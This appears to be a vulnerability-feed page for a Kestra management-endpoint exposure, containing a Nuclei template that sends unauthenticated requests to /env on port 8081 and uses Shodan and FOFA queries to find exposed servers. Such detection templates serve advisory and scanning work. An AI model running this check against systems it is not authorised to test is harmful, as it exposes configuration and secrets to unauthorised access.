CVE-2026-73245: Kestra < 2.0.0 - Unauthenticated Management Endpoint Exposure

2026-11-29 PoC Public

Description

Kestra before 2.0.0 serves the Micronaut management endpoints on port 8081 with all endpoints enabled and marked as non-sensitive. The basic-auth filter only protects the main API on port 8080, so an unauthenticated attacker who can reach the management port can read the resolved application configuration through /env and change runtime log levels through /loggers.

Details

CVE
CVE-2026-73245 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-73245

info:
  name: Kestra < 2.0.0 - Unauthenticated Management Endpoint Exposure
  author: s4e-io
  severity: medium
  description: |
    Kestra before 2.0.0 serves the Micronaut management endpoints on port 8081 with all endpoints enabled and marked as non-sensitive. The basic-auth filter only protects the main API on port 8080, so an unauthenticated attacker who can reach the management port can read the resolved application configuration through /env and change runtime log levels through /loggers.
  impact: |
    Unauthenticated attackers can read the resolved configuration and property sources of the Kestra server and change runtime logging, even when basic-auth is enabled on the main API.
  remediation: |
    Update to Kestra 2.0.0 or later. Do not expose the management port 8081 to untrusted networks.
  reference:
    - https://github.com/kestra-io/kestra/security/advisories/GHSA-hpj9-grjp-7vc7
    - https://github.com/kestra-io/kestra/commit/64194247be743005029dc412676f252c281af325
    - https://nvd.nist.gov/vuln/detail/CVE-2026-73245
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2026-73245
    epss-score: 0.00691
    epss-percentile: 0.48241
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 2
    vendor: kestra
    product: kestra
    shodan-query: title:"Kestra"
    fofa-query: title="Kestra"
  tags: cve,cve2026,kestra,micronaut,exposure,unauth,vuln

http:
  - raw:
      - |
        GET /env HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        @Host: http://{{Host}}:8081
        GET /env HTTP/1.1
        Host: {{Host}}:8081
        Accept: application/json

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"propertySources"'
          - '"activeEnvironments"'
          - '"io.kestra.'
          - '"kestra.server-type"'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f0708daf037c7578dae38513bcc5ff013afb9d0ce5d1d231436d7d1d063a684c022100c3cd45a2c211e36c6f6dfeb162a7bbcb2b203fa4ae481a7324843d7d070680ee:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life